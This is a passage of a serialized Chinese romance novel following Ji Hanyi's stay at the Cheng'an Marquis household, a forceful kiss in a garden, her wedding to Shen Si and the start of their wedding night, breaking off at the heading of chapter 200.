他又揉着季含漪软软的手心,慢慢与她讲承安侯府各房的人来,让她心里有个底。
马车很快停在了承安侯府的大门前,季含漪紧张的心松了。
马车内的那些亲近,是她第一次体会的,从不曾有过。
她第一次坐在一个男子的腿上。
什么感觉她不知晓,就心口跳的很快,很紧张。
季含漪想动,沈肆却依旧按着他,伸手替她理了理腰上被他揉的稍皱的衣裳,才托着她站起来,牵着她的手一起下马车。
马车外等着秦彻和另外一名绿衣女子。
那绿衣女子生的很美,眉眼精致,肤白如雪,瞧着年纪并不是很大,应该就是刚才沈肆与她说的承安侯府的二姑娘秦弗玉,好似还未满十四。
秦弗玉一见着季含漪一下来,便显得格外亲近,上前便喊:“季姑姑。”
那声音甜软,听得季含漪都不自觉喜欢。
那称呼让她稍微一顿后,眼里亦是含了笑意,声音也放柔:“秦二姑娘。”
秦弗玉过来热络的挽着季含漪的手,遗憾道:“上回季姑姑来,我与母亲一起去姨母那儿去了,回来才听大哥说了姐姐的事情。”
“我外祖母的考题季姑姑竟然全过了,我还看了季姑姑画的那个瓷盘呢,画的真好看,季姑姑能教我画画么?”
季含漪自小就跟着父亲**作画,更是在沈肆的书房里看过不少名家作品,技巧娴熟,画画如饮水那般简单,更愿意教导旁人,便笑道:“自然好的。”
秦弗玉便高兴起来:“季姑姑来了,也有人陪我说话了,我们先进去,母亲正等着我们呢。”
第195章 去承安侯府准备大婚
秦弗玉的声音很热情,挽着季含漪的手说笑,又说起季含漪那对账的法子来,又说让季含漪教她。
季含漪觉得秦弗玉一瞧就叫人喜欢,也笑着点头,只要秦弗玉真的想要学,她便真心的想要都教给她。
沈肆走在后面,看着季含漪的背影,尽管视线一直都是往常那般冷冷清清,但目光至始至终都停留在季含漪的身上,不曾移开过。
秦彻侧头看着沈肆的神情,倒是觉得稀奇的很。
一路进了花厅,里头坐着荣庆大长公主和侯夫人魏氏和侯府二房夫人谭氏,再有就是秦彻的嫡妻苏氏,还有二房的两个儿媳王氏和张氏。
林林总总的坐的人也算不少。
苏氏见了季含漪来,笑了笑站起来去拉着季含漪来身边,又语气温和的为季含漪一一介绍,末了又含笑看着她:“往后都是一家人,你不必生疏见外,后头还要常来往的。”
季含漪也尽量让自己自然的含笑与苏氏说话,又一一问过了屋内的人。
屋内的人也都打量在季含漪的身上,她们都知晓季含漪将要嫁给沈肆,都想要从季含漪身上看出一些不同来。
但倒是的确是有些不同的,一身鹅黄蓝花的妆花缎,领口是一对如意鎏金釦,脖子上带着一串祖母绿的细珠串,耳边亦坠着一对成套的绿耳坠,发上首饰并不繁复,却是极精雅,看得人赏心悦目,又看那眉眼,素粉轻施,山眉水眼,站在那处如一幅画,身后繁花与她怎般都相得益彰的相配。
又看那腰细惊风,似娇花拂水,体态柔媚风流,似春后梨云冉冉,偏偏面容是唇红齿白的清澈,半分从前人妇的模样也看不出来。
这里的人个个出身自然都比季含漪好,即便之前有的心里还存了疑,觉得大长公主认下季含漪为义女,不过也是凭着沈候的关系。
承安侯府是有名望,可手上没多少实权,人家眼里虽然敬,但里子里却不怕,人家也不会来巴结,巴结又有什么好处?
将来大长公主一去,不过是空有个承安侯府的名头和爵位,再过些年,就什么也没了。
说实话,承安侯府的人其实是很乐意季含漪入承安侯府的,为着将来子孙多一条后路,毕竟沈家正当势。
但这会儿瞧了人,仙姿玉态,少有的相貌,也听说了上回来的事迹,也是才貌双全的,只是不知如何性情。
但这会儿沈候还在这儿,个个也热络的拉着季含漪过来说话。
上头荣庆大长公主看着这一幕,又看向沈肆缓缓苍老道:“你放心,含漪在我这儿受不了委屈。”
“你母亲来了我这儿,三书六礼也都是我儿媳与你母亲好好对接的。”
沈肆便朝着荣庆大长公主一鞠:“劳烦了。”
荣庆大长公主笑了笑,让沈肆近前来说话,说的是让秦彻去监视太仆寺烙印官马的事。
秦彻如今虽是承安侯府世子,但身上却无官职,荣庆大长公主主要为后人考虑,让她的孙子至少谋个事情。
这事她与皇上提过,但皇上虽然敬重她,但也每每糊弄过去,也没怎么上心,加上自己儿子的能力也的确有限,担了个都督同知的虚衔,整日闲散着,也影响了孙子秦彻这个年纪还没有个正当的差事,就是偶尔祭祀皇陵,监修皇陵这样的差事。
沈肆明白荣庆大长公主的意思,太仆寺正好有这个缺,太仆寺官马数十万,占有许多牧场,能监视太仆寺,也算是个肥缺,又不参与朝堂,多是皇亲国戚做这样的差事。
他点头应下:“大长公主放心,此事不难。”
荣庆大长公主便放了心,让沈肆放心的去,这两日季含漪在承安侯府必然好好的。
沈肆倒是相信季含漪在这儿会好好的。
这些日他怕婚事有变,情绪其实是有一些紧绷的,季含漪的宅院外头全都布置了人,不想让任何人去见她,也不想季含漪出府,就是怕生一丁点的意外。
所幸,一切安稳的过来了,只有两日了。
这两日他需回沈府好好安排。
父亲也回来了,他也得好好交代。
沈肆的目光又看向被承安侯府的妇人和姑娘围在一起说话的季含漪,她
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坐在花厅一边,被众人拥簇,低低说话声伴随着几声笑意,又看季含漪脸颊上含着的笑,像是比从前轻松了好些。
就是在他面前还是有些拘谨。
不过倒是不要紧,他终于就要将人娶过来了。
沈肆心底很清楚,季含漪不排斥他,只是大抵她还没分清喜不喜欢,但这就够了。
他看得有些出神,这时候秦彻走到他身边,笑着道:“看了一路了,沈侯爷还没看够?”
沈肆侧头挑眉看向秦彻:“你倒是总看在我身上。”
秦彻笑了两声,视线扫过季含漪,当真是漂亮的人,人群里很难忽视,不怪沈肆这么上心着。
他看着他低低打趣:“我听说你房里连通房都没有,这些年外头还隐隐有人传你好龙阳,新婚夜你可别丢脸。”
沈肆眼神一低,眉眼里的严肃冷淡淡了些,凉凉笑了笑:“倒不用你操心。”
秦彻被沈肆的这笑看得发毛,毕竟他在都察院堂官的位置上,少有人见着他不怕的,就算他们是自小一起长大相识的好友,秦彻也不敢跟沈肆轻易开玩笑。
沈肆又往季含漪那头看了看,见着她与旁人正说的热络,却不想这么急的走,叫人去将季含漪叫了过来,却先走在前头,让季含漪在他身后跟着。
留在花厅的人看着两人一前一后的背影,一个高大颀长,一个娇小娉婷,一个看着冷如寒冰,一个看着暖如春日,瞧着瞧着,竟然也觉得异常的相配。
苏氏对着旁边的弟妹道:“不怪沈候喜欢季姑娘,刚才听她说话,轻声细语的娇柔,你们可听过这般好听的声音,我是女子听着都觉得股酥意。”
张氏看着季含漪那纤细的腰身,低低道:“她说话有礼,进退有度,脸上没有娇纵气,很知分寸,自小的教养很好。”
苏氏笑道:“季大人的独女,当年风华绝代又那般有才情的人,唯一的女儿也差不到哪里去。”
王氏也笑了笑:"说的也是。"
“瞧着沈候在旁看了半天,又找人单独说话呢,像是一刻离不得似的。”
第196章 当真香甜,还想再吻
季含漪亦步亦趋的跟在沈肆的身后。
沈肆的身形高大,将季含漪的视线都挡住,只能看见他华贵的玄衣带给她的那一抹微微的压迫。
沈肆停在了一处无人的假山前,转过身静静看着季含漪往她走来。
一身娇娇软软的人,穿着一身鹅黄带粉的衣裳,在这春日晏晏里,带着幽香与她朝思暮想的香甜,以至于季含漪身子还没走过来,他便迫不及待的伸手一捞,将人捞进了自己的怀里。
长臂将人圈在怀里按紧,他低头深吸她身上的味道,又在季含漪还有些惊慌的目光中,挑起她的下巴,低头就将她按在假山上重重的吻了下去。
两日不能见她。
两日后她就是自己的人。
强来的人,注定一生都不能放手。
此刻情绪波涛,以至于一刻都不想再忍,将她按在这里,只想要重重的吻她。
季含漪是不适应这样的吻的,满是侵略与粗重的力道,完全不能自己,完全被沈肆掌控着。
她更不适应与沈肆做这样亲密的举动,况且还是在外头。
手掌有些用力的推在沈肆的胸膛上,她唇瓣发疼,舌尖被纠缠,连收回去都不可能,口中大张,羞耻的任由他侵略。
季含漪低吟着摇头,眼眶冒了泪花,那柔软的手指推在沈肆胸膛上的力道也越来越紧。
沈肆只觉得身上燃这一股火,胸膛上推拒的力道很明显,他却捏在她腰肢上,没有半分要停的意思,晦暗的凤眸看着季含漪含泪的眼角,更是浑身都紧绷起来,又一低头,咬在那朝思暮想的耳垂上。
又痒又酥传遍了全身,季含漪僵硬的身子不由的发软,靠在沈肆怀里,手指无礼的扯着沈肆的衣襟,身上颤了颤,羞耻又难受。
季含漪的反应沈肆都看在眼里,他又托着她细腰,弯腰湿吻向季含漪的纤细白净的颈脖。
季含漪身上让人口干舌燥的香气都是让沈肆无法抗拒的诱惑,他轻轻咬在她颈边软肉上,感受着怀里的人寸寸发软轻颤,又低低的闷哼了一声。
那股情潮几乎将他淹没失去理智。
他甚至不敢想真的与她水**融的那一刻,自己又会怎样的失态与失控。
按在季含漪腰上的手掌越来越紧,却又听一声娇哑的声音带着怯生生的委屈传来:“沈大人,你别……”
沈肆的动作微微顿了顿。
他又深吸一口气放开人,后背靠在假山上让季含漪靠在自己怀里,低头去看人。
只见着人红唇被他吻的嫣红,水光潋滟,又看人眼眶带着红晕,泪盈盈沾满水雾,云娇雨怯的动人模样,他喉间又是一顿,伸手抚在季含漪白净的脸庞上,哑声道:“吓着你了?”
季含漪没躲,她抬头看向沈肆,有些惊慌的点头:“我不想这般……”
季含漪是深闺女子,骨子里也是规规矩矩的人,虽有过姻缘,在也从未在外头有过这般经历,害怕被人看见,更是脸皮薄承受不住。
再有当初是她答应嫁给他的,可当初沈肆不是这么说的。
他让她忽然觉得他骗了她,让她没有任何心理准备的接受。
她这些日也能感受到沈肆对她似乎喜欢,但那喜欢是什么喜欢,又有多久。
她其实更不知道自己能在沈府呆多久,躲过了赐婚过后,他们将来又面临什么。
沈肆指尖落在季含漪潮湿的眼角,那眼里的抗拒与害怕真真切切,更带着困惑。
他忽然意识到,因为刚才情不自禁,自己太着急了。
在季含漪心里,他们只是表面夫妻而已。
自己是要徐徐图之的,不该如此。
沈肆深吸一口气,按压下身体里的所有火气,让季含漪靠在自己肩膀上,又轻拍她的后背沙哑道:“在承安侯府若是有事,便记得给我来信。”
季含漪低着头,顿了下,还是很听话的点头,接着她就想要从沈肆的怀里起来。
毕竟是在承安侯府的后院,
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万一来个丫头,看着她这么不庄重的靠在沈肆的怀里就不好了。
但沈肆的掌心一直紧紧按在季含漪的后背上,他目光幽深的看向季含漪颈脖上那浅浅的牙印,又看向季含漪微慌的眼眸。
又沙哑开口:“两日不见我,还有什么与我说的么?”
季含漪脑中空了一下,接着又老老实实的摇头:“没有。”
沈肆淡淡的挑眉,倒是一句好听的话也不肯说,坦诚的过分。
又看人眼中还有泪痕,他指尖一点一点给人擦去,视线却一直落在季含漪那饱满的唇瓣上。
当真香甜,还想再吻一次。
视线又扫过不远处那鬼鬼祟祟的身形,那定然是秦彻在偷看了。
沈肆用身子挡着,将怀里的季含漪微微松了送,又替季含漪理了理衣裳,才让她重新回花厅去。
季含漪巴不得这会儿赶紧走,见着沈肆松了她,忙也转身往花厅去。
沈肆看着季含漪那细步匆匆的模样,心里头还是有点不是滋味。
直到季含漪的身形走远了,才往另一边的路上走。
秦彻看沈肆往自己过来,边知晓被发现了,刚才虽说他半点没瞧着沈肆怀里季含漪的情景,但沈肆刚才那孟浪的动作他可是瞧得清清楚楚。
迫不及待的将人按在假山上亲,啧啧,本来不想看的,非得要留下来看个明白,毕竟头一回见。
这头季含漪回了花厅还有些心悸,唇边用帕子按了又按,眼睛上也压了压,心头乱跳,虽说面上做得镇定,但也总怕被人瞧出有一点不对来。
或许这边是做了亏心事的感觉,总觉得有人在看她。
好在的确没人瞧出她有什么不对,一个个围着季含漪与她搭话。
哥哥言语温善,很是好相与。
花厅里说了一会儿话,苏氏又领着季含漪往一处住处去,让季含漪这两日先住在那处。
季含漪跟着苏氏走,这才微微脱身,耳边稍稍清静了几许。
第197章 大婚前夜
季含漪原以为自己在承安侯府大抵还是会有一点不习惯的。
但好似并不是那样。
承安侯府的人都很好相处,特别是女子。
秦弗玉夜里往季含漪这里钻,苏氏来对季含漪嘘寒问暖,她倒是能很快适应。
只是秦弗玉是个话多的,总好奇季含漪是如何与沈肆相识的。
她偷偷与季含漪道:“沈候瞧着都吓人,总是黑着脸,说话也冷冰冰的,我可不敢嫁给沈候这样的人。”
又道:“你不知晓,京里许多女子虽然爱慕沈大人,但没一个人敢凑上前的,那眼神往身上一看,就跟犯了什么大罪过似的,可不是吓人。"
季含漪笑了笑,不得不说秦弗玉说的很准确。
沈肆那张脸,但凡不笑,俊美是俊美,但吓人也是真吓人。
一般人的确也很难主动往沈肆身上靠近。
更何况沈肆身上带着一股与生俱来的疏离冷淡,也没人敢轻易踏那一步。
秦弗玉说着又好奇的小声问季含漪:“你真的不怕沈大人么?”
暖暖的烛火轻晃,季含漪想了下,她知晓自己一直都是有点怕沈肆的,但最近与沈肆走的近了些,又觉得他视脸上看着吓着,其实性子也没那么吓人。
她便低低道:“从前有点怕,现在好多了。”
秦弗玉笑起来:“要嫁给沈大人了,定然不怕了。”
季含漪笑,又陪着秦弗玉说了会儿话,才又睡去。
到了第二日一早的时候,季含漪就被苏氏带着去看她的嫁衣,还有去清点沈府送来的聘礼。
这些聘礼承安侯府自然是不会留下的,等着季含漪嫁入沈府,将来一并抬到沈府去。
此刻,季含漪就站在了那嫁衣面前。
不过是一眼,就能够看出来嫁衣很奢华,上头的刺绣纹样每一针都带着金线,宝石珍珠点缀无数,仅仅只是抬起袖口看了看,就好似能感受到衣裳的份量。
苏氏在旁边含笑道:“这嫁衣也是沈候送来的,听说是紧赶慢赶的日夜不停做了快两月,”
季含漪还是微微有些诧异的。
沈肆那么早就在叫人做嫁衣了?
苏氏又笑道:“你先试试,看看哪里还有不合身的,我们赶紧改一改,不然等真穿上了,再改就来不及了。”
季含漪便依言将嫁衣穿上。
本以为或许会有些地方可能会有些不合身的,但却没想到竟然异常的合适,就连那腰身都是刚刚好。
苏氏看着季含漪身上穿着一身红艳的红,容色妩媚了几分,不由的也看得些微失神,又笑道:“这嫁衣倒是正正好。”
说着又帮着季含漪将嫁衣脱下来。
承安侯府里也挂上了红绸,窗户上也贴上了喜字,下人们也喜气洋洋的。
承安侯府人对季含漪更是照顾周到,拉着她一起说话,又一起去赏花,又在春日草木下作画。
秦弗玉尤其想看季含漪画画,这其实也不难,女眷们将季含漪围在中间,都往那铺开的画纸上看。
只见着季含漪不过寥寥几笔,一簇栩栩如生的牡丹花便跃然纸上。
在场的人自然都是会些画画的,但画的如季含漪这般好的却不多,况且季含漪明显很熟练,不管什么花卉都手到擒来。
对于季含漪来说,草木花草是最简单的,也是绘画作趣,旁边够着几个半大姑娘和小子,凑热闹的吵嚷着让季含漪画花画蝶,画糖葫芦,争抢着让季含漪先给他们画。
场面一时热闹极了,季含漪便为每人画了一小幅,还印了章,题了字,小家伙们拿到手如获至宝,纷纷比起来谁的更好看。
又是惹得旁边看热闹的笑起来。
承安侯府二房夫人谭氏看着季含漪被三四个小辈围着,忍不住对苏氏道:“之前瞧着这季姑娘虽说得了婆母的青睐,但也觉得没什么出众的,这会儿瞧着像是个妙人,要紧的是性子当真好,又从容有度,不会觉得马上嫁入沈家攀了高枝了,便觉得飞上枝头成了凤凰,带着股清高。”
苏氏低声道:“这话也不能这么说,当初季大人在的时候,这位季姑娘其实在京里就小有些名声了,不过低调的很,没出过风头,但你瞧瞧她今日,作画信手拈来,声音慢声轻语,有礼
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的很。”
“我觉得也不算攀高枝,这姑娘教养很好,当初要是季大人不出事,配沈家够一够也是配得着的。”
“这样的姑娘,我这会儿瞧着都喜欢,又生的这般美,沈候喜欢人,也能说过去。”
谭氏又看了看季含漪,见着她正替秦弗玉折花为秦弗玉发上簪花,两个儿媳站在旁边说笑,虽没听清说了什么,但那位季姑娘的随和从容到的确是真的,自然而然,举止没有刻意,看着很舒服,便让人喜欢亲近她。
她点点头:“倒是大嫂说的这般。”
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就这么在承安侯府里过了两日,明日就到了大婚的时候了,季含漪还是有点紧张,下午春睡的时候便翻来覆去的睡不着。
翻来覆去了好一会儿,脑中也不知在想些什么,就是没有睡意。
又想自己出嫁,母亲没有在身边,虽说是沈肆为自己打算好的,还是有些许的遗憾。
但季含漪没想到的是,正想着,外头门推开,接着帘子被挑开,母亲就走了进来。
顾氏一脸的泪,看着靠在大软榻上的季含漪,几步过去就将季含漪抱进了怀里。
季含漪还没反应过来,直到埋在母亲怀里,闻着母亲身上熟悉的味道,她才反应过来母亲来。
又听顾氏细细哽咽道:“沈候让人接我过来的,说你出嫁,我在你身边,你定然也高兴。”
季含漪没想到沈肆将这些也都安排得这么好。
顾氏说着话,又抬头看向季含漪,见这季含漪姣好又素净的眉目,不由的又含泪道:“沈候是极好的人,含漪,这回你没选错。”
季含漪怔了怔,想着她也知晓她始终没有选错人的。
沈肆自小虽然说冷,但是品性很好,所以她这么信他。
这会儿外头还早,顾氏又拉着季含漪说了说往后去沈家应该怎么做,其实顾氏自己也没有多少经验,因她也没有侍奉过公婆。
好在苏氏过来,她经验足,这么一说话就到了夜里。
夜里季含漪翻来覆去,一想到明日大婚,心里噗噗只跳,也不知道自己在想什么
第198章 大婚
到了第二日一早的时候,承安侯府的就热络起来。
季含漪一大早就被容春还有进来的婆子叫起来沐浴焚香,又坐在妆台镜前,让婆子梳发整容。
婆子喜气洋洋的说着吉语:“一梳梳到尾,二梳白发齐眉,三叔儿孙满堂。”
季含漪只看着镜中的人,心里头却没有什么波澜。
这是她第二次嫁人,第一次满怀期待,脸上是止不住的笑意,这一回她沉稳了许多,没有当初那股少女怀春的忐忑,但是却比上一回更加心安。
屋子里站着承安侯府的侯夫人与秦二夫人,两人笑着忙前忙后,等到季含漪梳妆完了,又去一起为她穿上嫁衣。
一套繁琐的流程下来,全部整理完毕,也已经是过了巳时了。
大红嫁衣穿在身上沉甸甸的,季含漪每走一步,都觉得好似如坠梦中,就是恍然有一刻的不真实。
一路被谭氏和苏氏扶着去正堂,荣庆大长公主和顾氏一起坐在上首的,季含漪给两人都敬了茶,荣庆大长公主笑着对季含漪说了好些祝福的话。
季含漪态度恭敬的应下,又拿下手中的扇子,由顾氏亲自为季含漪将盖头盖上。
接着屋内的其他人也上前送上祝福话和离别话,快到中午的时候,外间管家喜气洋洋的进来说接亲的来了,是沈候亲自来接的。
众人这才纷纷又站起来,簇拥着送季含漪往前门去。
季含漪这会儿脑中发空,只跟着众人往前走,在锣鼓喧天的热闹里,周遭那些高兴喜庆的话,她仿佛也不怎么听得见了,只在自己的手被一只温热的大手握住的时候,才感觉到回了神。
沈肆穿着一身红衣,从那披着锦绣和镶着宝石的骏马上下来,站在华贵的喜轿旁,在人群中面如冠玉。
身后迎亲队伍站到了巷外,鼓乐齐鸣,铜钱撒得哗哗作响,引得众人贺喜。
他低头看着一身红衣,戴着盖头的季含漪出来,莲步款款轻移,不由能想到她盖头下的脸庞如何娇美。
他抿抿唇,更加紧的握紧了季含漪的手,引着她入了喜轿。
沈府的大婚自然气派,还有宫里的仪仗和侍卫护亲,就连太子与二皇子都陪同在两边,声势浩大,叫京城百姓纷纷出来观看。
季含漪在盖头下看不到这些热闹,只知晓轿子所过之处,无处不是震天的热闹。
喜轿绕城走了三圈,撒下的铜钱数以万计,等到了沈府门前的时候,已经是下午申时了。
门口放着火盆,季含漪被沈肆牵着跨过火盆,又入内堂拜天地。
脚下铺着红绸,地上洒满了谷豆,季含漪恍恍惚惚的只被沈肆牵着走,一直到了婚房内,坐在那张喜床上,她才微微的松了一口气。
喜床上到处都是花生桂圆,季含漪坐的很不舒服,季含漪透过盖头下摆,隐隐约约的见着屋内还有人站着,还不好乱动,规规矩矩的坐着。
她想着沈府的规矩一向很多又大,不知晓自己是不是能够都应付得过来。
又想着上一回大婚的那日又是怎么度过的,不过季含漪却全然都想不起来了,竟觉得那场大婚已经是太远的事情,细枝末节都记不得。
紧张还是有些紧张的,特别是还被屋内的婆子这么盯着,更不知晓还要坐多久。
又坐了好一阵,屋内屋外还是没动静,但屋内的婆子动了,开始点蜡烛了。
这时候的天色还不算太暗,季含漪估摸着应该是刚过申时,天色昏沉的时候,但婆子点蜡烛,是不是沈肆就要来挑盖头了。
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季含漪其实还有点期待沈肆早点过来,她身下坐着的花生莲子硌的她难受,沈肆来了,屋内的婆子也该走了。
不过屋外安静的过分,又忽的想起上一回大婚,谢玉恒的表亲在她婚房外笑嚷,还差点闯了进来,她在喜房内被吓着了,但谢玉恒也没阻止人,只是让人不许推门进来。
这回屋外头安静的一点声儿都听不到,想来沈肆平日里看起来那么凶,应该是没人敢来的。
又等了一会儿,屋外响起了声音,沉稳的脚步声,还有外头恭敬问候的声音,叫季含漪一下便听出来是沈肆来了。
明明刚才还盼着沈肆快点来,但现在沈肆来了,季含漪又有点紧张了。
她微微坐得更直,直到门被推开,心里跳的更快。
她也不知道自己心里为什么跳的这么快,或许是自小面对沈肆的时候,就会这般。
又或许是觉得现在当真如一场梦,她更是从来没想过有朝一日,她会与沈肆成为夫妻。
视线处只到裙摆,面前却投来一道暗影。
又听见旁边的喜婆喜气的声音:“侯爷,给新娘子挑盖头吧。”
但面前好似半晌都没有动作,她的手指捏的又微微紧了些。
沈肆站在季含漪的面前,穿着一身红嫁衣的人坐在喜床上,看起来娇小可人,他低着头,看着人看了好一会儿。
即便是这个样子的季含漪,即便这会儿还不能看见她的模样,沈肆都觉得自己看不够。
他想要将这一刻的季含漪烙进心里。
从前急切的想要将人娶回来,这一刻紧绷的心终于松懈下来,再也不会患得患失了。
他看了良久,终于从旁边婆子的手中拿起引银杆,缓缓挑开了季含漪的盖头。
第199章 洞房
红色的盖头被缓缓挑开,映入眼帘的便是一张芙蓉面。
从前素净的面容上了妆面,额间贴着梅花,细眉弯弯,莹莹光泽的眼睛上如泛着春波,琼鼻红唇,妩媚艳人。
特别是季含漪随着盖头抬起的缓缓抬眼,那一双含情杏眸便如勾人摄魄的销魂窟,就连沈肆手上的动作也微微僵住,被她那一双眼吸引的呼吸一紧。
那张在宝石珍珠与喜气的红色铺满下的脸庞,妩媚动人,又含着股内敛的羞涩,是独属于季含漪的柔美。
旁边喜婆见着盖头掀起来,又端着铺了红布的托盘过来,笑着道:“侯爷,该喝合卺酒了。"
沈肆这才将视线从季含漪脸上移开,抿着唇,伸手去拿过玉色小酒杯,轻轻放到季含漪的手上。
季含漪有点不敢看沈肆的眼神,接过小杯的时候,她小小的看了一眼,一身红衣喜服的沈肆,脸上依旧还是带着股冷色,黑眸就紧紧看在她的身上,也不知道他此刻在想什么,总归季含漪被沈肆的眼神看得心惊肉跳的,觉得他这时候也怎么这么吓人,便垂着眼眸也不敢再看他了。
接着两人手臂交缠,沈肆炙热的呼吸就扑在脸颊边上,鼻端都是沈肆身上的味道。
季含漪心里发紧,低头不敢乱瞧,又将手里杯中的酒吃下。
酒杯里的酒并没有多少,但吃下后苦涩与辣味传来,季含漪有点不好受。
但面前很快送来一盏茶,入目是沈肆修长的手,耳边是他低沉的声音:“喝一口润润。”
季含漪忙接了过来。
婆子看着这一幕,还在出神的想着侯爷还有这么贴心的时候,还没转过神来,又看到侯爷冷淡冰凉的眼神看过来,心下跳了跳,赶紧收拾好东西退了下去。
屋内顿时只剩下了两人。
旁边微微的凹陷下去,季含漪才察觉到沈肆已经坐在了她的身边。
季含漪往旁边挪了挪,也不是因为别的,就是忍了这一下午,终于受不住了,用手将身下的花生莲子扫了扫,才又坐下。
又因为坐的太久有些僵,身上又小小的动了动,眼神往屋内看去。
这里应该就是沈肆的院子了,季含漪上回被李眀柔下毒的时候好似来过,但是这会儿再看又觉得陌生的很。
其实季含漪看屋内布置,这会儿是在想新婚夜到底要怎么过。
屋内要是只有一张床榻,难道她还要与沈肆同榻入睡么。
这么一想,季含漪自己都觉得不行,毕竟只是为了躲避赐婚,也算不得真的成婚的。
沈肆的目光一直看在季含漪身上,见着人往旁边坐,又见着她偏过脸往屏风后看,他知晓她在看什么,她在看哪里能让她夜里睡过一夜。
季含漪的所有心思他都知晓,他如猎人般静静看着季含漪的小心翼翼,又早已准备好享受他的猎物。
他目光落在她白净的侧脸上,目色渐渐变得幽深,一寸寸将季含漪打量了个遍,这是两人的新婚夜,但季含漪显然并没有进入状态。
又扫了眼中间两人坐着的距离,沈肆又问:“饿了么?”
季含漪这才后知后觉的侧头看向沈肆,她只有上午时吃了些糕点,这会儿早就饿了。
她诚实的点头。
沈肆瞧着季含漪的模样,嫣然润泽,妩妩动人,在这屋子里,此刻最香甜可口的人便是她。
他静静看了人半晌,又对外头吩咐一声,很快一桌小席面被呈了上来。
屋内人退去,沈肆起身走到季含漪面前弯腰,季含漪下意识的往后仰,又被沈肆伸出的手拖住后背。
沈肆低头看向季含漪有些无措的眼眸,黑眸如墨,低低问她:“就这么怕我?”
季含漪抬头看向沈肆此刻的模样,脸上没有笑意,又背着光这么压下来,看着的确是有点吓人的。
沈肆是几乎不怎么笑的人,那张脸从来都带着几分严肃。
季含漪小声开口:“没……”
沈肆抿了抿唇,松开放在季含漪后背上的掌心,又抬手为季含漪发上那沉甸甸的新娘冠取下来。
新娘冠一取,季含漪顿时觉得身上一轻,也终于不用再一直端着肩膀了。
季含漪这才明白了沈肆忽然过来的意思,她不由抬头看向沈肆,又小声道了谢:“沈大人,谢谢。”
沈肆挑眉,又静静看了季含漪两眼,又道:“先吃些东西。”
季含漪这才忙往小桌上去。
她穿着大红的喜衣,一头乌发盘成发髻,因为取了冠,发上没有首饰,却素净的好看。
桌上的菜都是季含漪喜欢的,沈肆坐在旁边静静瞧着。
季含漪被沈肆这么瞧着,还是硬着头皮吃饱了。
搁下木筷的时候,季含漪才净了口,沈肆又将一碟莲子送到季含漪面前,眼神看着她:“听说新婚夜吃了这个,会多子多福。”
冷冷清清的语调,好似在说一句稀松平常的话,却让季含漪的心里颤了三颤。
看着那送到面前的莲子,季含漪愣了愣,看着沈肆看来的神情,还是拿了一个剥开,咬进了嘴里。
沈肆神色缓了下,自己也吃了一颗。
门外下人来收拾完退下去后,屋内又只剩下了两人。
这时候应该是不早了,季含漪终于鼓起勇气看向同样一身红衣的沈肆问:“今夜……今夜要不我睡在那张软榻上吧。”
季含漪自己也知晓,今夜定然是要睡在一个屋子里的,不可能去旁边耳房里睡,那张贵妃榻看起来也不小,不过一晚,季含漪觉得自己还能睡。
毕竟总不敢让沈肆在那儿睡。
沈肆挑眉,视线扫过那张软榻,倒是忘了早点将那软榻给搬出去了。
他开口:“热水已经放好了,先去沐浴后再说。”
说着他叫人进来侍奉,季含漪都没反应过来,就被三四个丫头请着往浴房去。
浴房很大,浴桶也很大,里头白雾袅袅,一起进来的丫头为季含漪更衣。
这些丫头都不认得,季含漪还不习惯被丫头看着,就留了容春在身边。
那几个丫头很是恭敬,听了季含漪的话都悄声退了出去,唯有一个丫头细声问:“夫人喜欢哪种香?平日侯爷沐浴时喜欢点松香。”
季含漪忍不住看了看那浴桶,想着沈肆平日里也在那儿沐浴,心里就又觉得颤颤的。
她喜欢梅香,不浓不重的好闻,就问了句有没有,若没有不点也行。
那丫头却很快拿来,点上香后就很快退了出去。
季含漪泡在浴桶里,泡了许久都还想再拖一拖出去。
容春看向季含漪被热水熏出来的红晕,忍不住小声道:“姑娘,不能再泡了,进来快半
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个时辰了。”
季含漪都愣了愣,竟然泡了这么久。
好似的确该出去了。
容春出去拿了衣裳进来,却只有寝衣。
这也不怪丫头,这个时候沐浴完,也不可能再穿外裳了。
季含漪穿着寝衣出去,重重帘帐里的内室里,沈肆已经换了一身常服,就坐在屏风边上的那张贵妃榻上。
他手上拿着书,好似正漫不经心的看,见着季含漪过来,便将手上的书册放在了一边。
这是季含漪第一回穿着寝衣在沈肆面前,总是觉得有些羞耻的。
好在沈肆看出她的窘迫,对她低声道:“很晚了,你先去榻上睡。”
季含漪下意识便问出来:“那沈大人呢?”
沈肆站起身,走到季含漪面前,只穿着月白单衣的人看起来素净又漂亮,脸上的妆容已经洗去,更有一种铅华洗净的柔美。
那乌黑的长发披散着,落在她细细肩头上,沈肆目光仅仅是落在季含漪那带着点湿润的领口上,心里就觉得一热。
眼神已经微微变得暗沉,声音也带了些沙哑:“你不用管我。”
又看着人引人遐思的落落身形:“床榻已经让人收拾好了,你直接去睡便是。”
又深深看季含漪一眼:“我先去沐浴。”
说着沈肆伸手按在季含漪的肩膀上,又弯腰在她耳边低低道:“含漪,自然些,屋里的婆子还有从宫里来的人。”
季含漪听了这话就是一僵,忙就点头。
沈肆瞧着季含漪模样,被烛火映照的亮亮的眸子,这般信任他,他心底却全是对她占有。
他又为季含漪将发丝别在耳后,才转过了身。
转身的时候,沈肆又看一眼旁边站着的婆子,那婆子知晓主子的意思,等侯爷一走,就过来请容春出去休息。
毕竟是洞房,不能这时候还呆在屋子里。
容春也知道这个意思,季含漪想叫住容春,但又想着留着容春在身边,旁人定然会多想,就又没开口,往屏风后的床榻上去了。
床榻上已经都收拾好了,撒在上头的果子也都已经没在。
在床沿边上坐了坐,又看了看那还站在屏风后的婆子,也不知那婆子是不是就是宫里来的,又深吸一口气,才上了床榻。
尽管锦被都换成了大红色,但上头依旧是沈肆身上的沉香味道。
季含漪睡在最里头的角落里。
沈肆沐浴完过来的时候,只见着床榻角落处那小小的一团,鸳鸯枕上只能瞧见铺满的黑发,却见不着人,人捂在被中,也不知道有没有被捂坏。
沈肆神色愈发昏暗,一想着床榻上的人是季含漪在等着她,热流早已乱窜。
他坐在床沿边上,微微弯腰将被子一角掀开,便瞧见季含漪那张因为捂着而泛着薄红的脸庞。
白净又仙姿玉色的脸,丝丝发丝纠结在她脸庞上,红唇微张,粉面桃腮,那一双晏晏的水眸正茫然往他看来,沈肆蓦的身上就是一紧。
他弯腰过去靠近她,黑眸紧紧看着人,不愿放过她脸上的每一个表情,声音已哑的不像话:“不怕捂坏了?”
季含漪咬着唇,就轻轻的嗯了一声。
那声音又细又哑,娇娇气气的泛着绵音,叫沈肆不由得又往人面前靠近一分。
他看着她问:“睡么?”
第200章 春宵欢愉
